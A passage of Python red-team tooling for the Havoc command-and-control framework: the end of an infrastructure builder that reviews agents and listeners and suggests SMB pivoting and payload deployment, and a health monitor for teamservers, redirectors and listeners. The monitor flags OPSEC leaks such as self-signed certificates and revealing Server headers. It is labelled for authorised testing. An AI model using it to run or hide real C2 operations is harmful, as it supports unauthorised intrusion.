"stale_agents": [],
"recommendations": [],
}
for agent in agents:
sleep_val = agent.get("sleep", 0)
if sleep_val > 60:
assessment["stale_agents"].append(agent.get("id"))
if not any(l.get("protocol") == "Smb" for l in listeners):
assessment["recommendations"].append("Add SMB listener for internal pivoting")
if len(listeners) < 2:
assessment["recommendations"].append("Add redundant listeners for resilience")
if not agents:
assessment["recommendations"].append("No active agents - deploy payloads")
return assessment
def generate_report(listeners, agents, assessment):
"""Generate C2 infrastructure report."""
report = {
"timestamp": datetime.utcnow().isoformat(),
"disclaimer": "For authorized penetration testing and lab environments only",
"listeners": listeners,
"agents": agents,
"infrastructure_assessment": assessment,
}
print(f"C2 REPORT: {len(listeners)} listeners, {len(agents)} agents, "
f"{len(assessment.get('recommendations', []))} recommendations")
return report
def main():
parser = argparse.ArgumentParser(description="Havoc C2 Infrastructure Builder (authorized testing only)")
parser.add_argument("--teamserver", required=True, help="Teamserver address (host:port)")
parser.add_argument("--token", required=True, help="API authentication token")
parser.add_argument("--action", choices=["status", "create-listener", "generate-payload", "full-report"],
default="full-report")
parser.add_argument("--listener-name", default="https-primary")
parser.add_argument("--bind-port", type=int, default=443)
parser.add_argument("--output", default="havoc_c2_report.json")
args = parser.parse_args()
listeners = list_listeners(args.teamserver, args.token)
agents = list_agents(args.teamserver, args.token)
assessment = assess_infrastructure(listeners, agents)
report = generate_report(listeners, agents, assessment)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
if __name__ == "__main__":
main()
#!/usr/bin/env python3
"""
Havoc C2 Infrastructure Health Monitor
Monitors Havoc C2 infrastructure components (teamserver, redirectors,
listeners) and generates operational status reports for red team operations.
"""
import json
import socket
import ssl
import os
import hashlib
import subprocess
import time
from datetime import datetime
from dataclasses import dataclass, field, asdict
from typing import Optional
from urllib.request import urlopen, Request
from urllib.error import URLError, HTTPError
@dataclass
class InfraComponent:
"""Represents an infrastructure component."""
name: str
host: str
port: int
component_type: str # teamserver, redirector, listener, dns
protocol: str = "tcp"
expected_response: str = ""
ssl_enabled: bool = False
@dataclass
class HealthCheck:
"""Result of a health check."""
component: str
host: str
port: int
status: str # up, down, degraded
latency_ms: float = 0.0
ssl_valid: bool = False
ssl_expiry: str = ""
details: str = ""
timestamp: str = ""
class HavocInfraMonitor:
"""Monitor Havoc C2 infrastructure health and OPSEC status."""
def __init__(self, config_path: Optional[str] = None):
self.components: list[InfraComponent] = []
self.check_results: list[HealthCheck] = []
self.alerts: list[str] = []
if config_path and os.path.exists(config_path):
self._load_config(config_path)
def _load_config(self, config_path: str) -> None:
"""Load infrastructure configuration from JSON."""
with open(config_path) as f:
config = json.load(f)
for comp in config.get("components", []):
self.components.append(InfraComponent(**comp))
def add_component(self, component: InfraComponent) -> None:
"""Add an infrastructure component to monitor."""
self.components.append(component)
def check_tcp_port(self, host: str, port: int, timeout: float = 5.0) -> tuple[bool, float]:
"""Check if a TCP port is open and measure latency."""
start = time.time()
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
result = sock.connect_ex((host, port))
latency = (time.time() - start) * 1000
sock.close()
return result == 0, latency
except (socket.error, socket.timeout):
return False, 0.0
def check_ssl_certificate(self, host: str, port: int = 443) -> dict:
"""Check SSL certificate validity and expiration."""
try:
context = ssl.create_default_context()
with socket.create_connection((host, port), timeout=10) as sock:
with context.wrap_socket(sock, server_hostname=host) as ssock:
cert = ssock.getpeercert()
not_after = cert.get("notAfter", "")
subject = dict(x[0] for x in cert.get("subject", ()))
issuer = dict(x[0] for x in cert.get("issuer", ()))
# Parse expiry
expiry = datetime.strptime(not_after, "%b %d %H:%M:%S %Y %Z")
days_remaining = (expiry - datetime.utcnow()).days
return {
"valid": True,
"expiry": not_after,
"days_remaining": days_remaining,
"subject_cn": subject.get("commonName", ""),
"issuer_cn": issuer.get("commonName", ""),
"self_signed": subject.get("commonName") == issuer.get("commonName"),
}
except ssl.SSLCertVerificationError as e:
return {"valid": False, "error": str(e), "self_signed": True}
except Exception as e:
return {"valid": False, "error": str(e)}
def check_http_response(self, host: str, port: int, path: str = "/",
ssl_enabled: bool = True, expected_status: int = 200) -> dict:
"""Check HTTP/HTTPS endpoint response."""
scheme = "https" if ssl_enabled else "http"
url = f"{scheme}://{host}:{port}{path}"
try:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
req = Request(url, headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
})
start = time.time()
resp = urlopen(req, timeout=10, context=context)
latency = (time.time() - start) * 1000
return {
"status_code": resp.getcode(),
"latency_ms": latency,
"headers": dict(resp.headers),
"reachable": True,
}
except HTTPError as e:
return {"status_code": e.code, "reachable": True, "error": str(e)}
except URLError as e:
return {"reachable": False, "error": str(e)}
def check_dns_resolution(self, domain: str) -> dict:
"""Verify DNS resolution for C2 domains."""
try:
results = socket.getaddrinfo(domain, None)
ips = list(set(r[4][0] for r in results))
return {"resolved": True, "ips": ips}
except socket.gaierror as e:
return {"resolved": False, "error": str(e)}
def run_all_checks(self) -> list[HealthCheck]:
"""Run health checks on all configured components."""
self.check_results = []
self.alerts = []
for comp in self.components:
print(f"[*] Checking {comp.name} ({comp.host}:{comp.port})...")
# TCP port check
is_up, latency = self.check_tcp_port(comp.host, comp.port)
check = HealthCheck(
component=comp.name,
host=comp.host,
port=comp.port,
status="up" if is_up else "down",
latency_ms=latency,
timestamp=datetime.utcnow().isoformat(),
)
if not is_up:
self.alerts.append(f"CRITICAL: {comp.name} ({comp.host}:{comp.port}) is DOWN")
check.details = "TCP connection failed"
self.check_results.append(check)
continue
# SSL check for HTTPS components
if comp.ssl_enabled:
ssl_info = self.check_ssl_certificate(comp.host, comp.port)
check.ssl_valid = ssl_info.get("valid", False)
check.ssl_expiry = ssl_info.get("expiry", "")
if ssl_info.get("self_signed", False):
self.alerts.append(
f"OPSEC WARNING: {comp.name} has self-signed certificate!"
)
if ssl_info.get("days_remaining", 999) < 7:
self.alerts.append(
f"WARNING: {comp.name} SSL expires in "
f"{ssl_info['days_remaining']} days"
)
# HTTP response check for web-based components
if comp.component_type in ("redirector", "listener"):
http_info = self.check_http_response(
comp.host, comp.port, ssl_enabled=comp.ssl_enabled
)
if http_info.get("reachable"):
server_header = http_info.get("headers", {}).get("Server", "")
if "Havoc" in server_header:
self.alerts.append(
f"OPSEC CRITICAL: {comp.name} leaking Havoc in Server header!"
)
check.details = f"HTTP {http_info.get('status_code', 'N/A')}"
# Latency check
if latency > 1000:
self.alerts.append(
f"WARNING: {comp.name} high latency: {latency:.0f}ms"
)
check.status = "degraded"
self.check_results.append(check)
return self.check_results
def check_domain_opsec(self, domain: str) -> dict:
"""Check domain OPSEC status."""
results = {
"domain": domain,
"dns_resolves": False,
"checks": [],
}
# DNS resolution
dns = self.check_dns_resolution(domain)
results["dns_resolves"] = dns.get("resolved", False)
results["resolved_ips"] = dns.get("ips", [])
# Check if domain is too new (WHOIS-based heuristic)
results["checks"].append({
"check": "DNS Resolution",
"status": "PASS" if dns.get("resolved") else "FAIL",
})
# SSL certificate check
ssl_info = self.check_ssl_certificate(domain)
results["checks"].append({
"check": "Valid SSL Certificate",
"status": "PASS" if ssl_info.get("valid") else "FAIL",
"details": ssl_info,
})
if ssl_info.get("self_signed"):
results["checks"].append({
"check": "Not Self-Signed",
"status": "FAIL",
"details": "Self-signed certificates are an OPSEC failure",
})
return results
def generate_status_report(self) -> str:
"""Generate infrastructure status report."""
lines = []
lines.append("=" * 60)
lines.append("HAVOC C2 INFRASTRUCTURE STATUS REPORT")
lines.append(f"Generated: {datetime.utcnow().isoformat()}")
lines.append("=" * 60)
# Component status
lines.append("\nCOMPONENT STATUS:")
lines.append("-" * 60)
for check in self.check_results:
status_icon = {
"up": "[+]",
"down": "[!]",
"degraded": "[~]",
}.get(check.status, "[?]")
lines.append(
f" {status_icon} {check.component:<25} "
f"{check.status.upper():<10} "
f"{check.latency_ms:.0f}ms"
)
if check.ssl_valid:
lines.append(f" SSL: Valid (expires {check.ssl_expiry})")
if check.details:
lines.append(f" Details: {check.details}")
# Alerts
if self.alerts:
lines.append("\nALERTS:")
lines.append("-" * 60)
for alert in self.alerts:
lines.append(f" {alert}")
# Summary
total = len(self.check_results)
up = sum(1 for c in self.check_results if c.status == "up")
down = sum(1 for c in self.check_results if c.status == "down")
degraded = sum(1 for c in self.check_results if c.status == "degraded")
lines.append(f"\nSUMMARY: {up}/{total} UP | {degraded} DEGRADED | {down} DOWN")
if down > 0:
lines.append("STATUS: INFRASTRUCTURE DEGRADED - IMMEDIATE ACTION REQUIRED")
elif self.alerts:
lines.append("STATUS: OPERATIONAL WITH WARNINGS")
else:
lines.append("STATUS: FULLY OPERATIONAL")
return "\n".join(lines)
def export_json(self, output_path: str) -> None:
"""Export results to JSON."""
data = {
"timestamp": datetime.utcnow().isoformat(),
"components": [asdict(c) for c in self.check_results],
"alerts": self.alerts,
}
with open(output_path, "w") as f:
json.dump(data, f, indent=2)
print(f"[+] Results exported to {output_path}")
def main():
"""Demonstrate infrastructure monitoring."""
monitor = HavocInfraMonitor()
# Configure infrastructure components
monitor.add_component(InfraComponent(
name="Havoc Teamserver",
host="127.0.0.1",
port=40056,
component_type="teamserver",
protocol="tcp",
))
monitor.add_component(InfraComponent(
name="HTTPS Redirector",
host="127.0.0.1",
port=443,
component_type="redirector",
ssl_enabled=True,
))
monitor.add_component(InfraComponent(
name="HTTPS Listener",
host="127.0.0.1",
port=443,
component_type="listener",
ssl_enabled=True,
))
# Run health checks
print("[*] Running infrastructure health checks...\n")
monitor.run_all_checks()
# Generate report
report = monitor.generate_status_report()
print(report)
# Export results
monitor.export_json("havoc_infra_status.json")
if __name__ == "__main__":
main()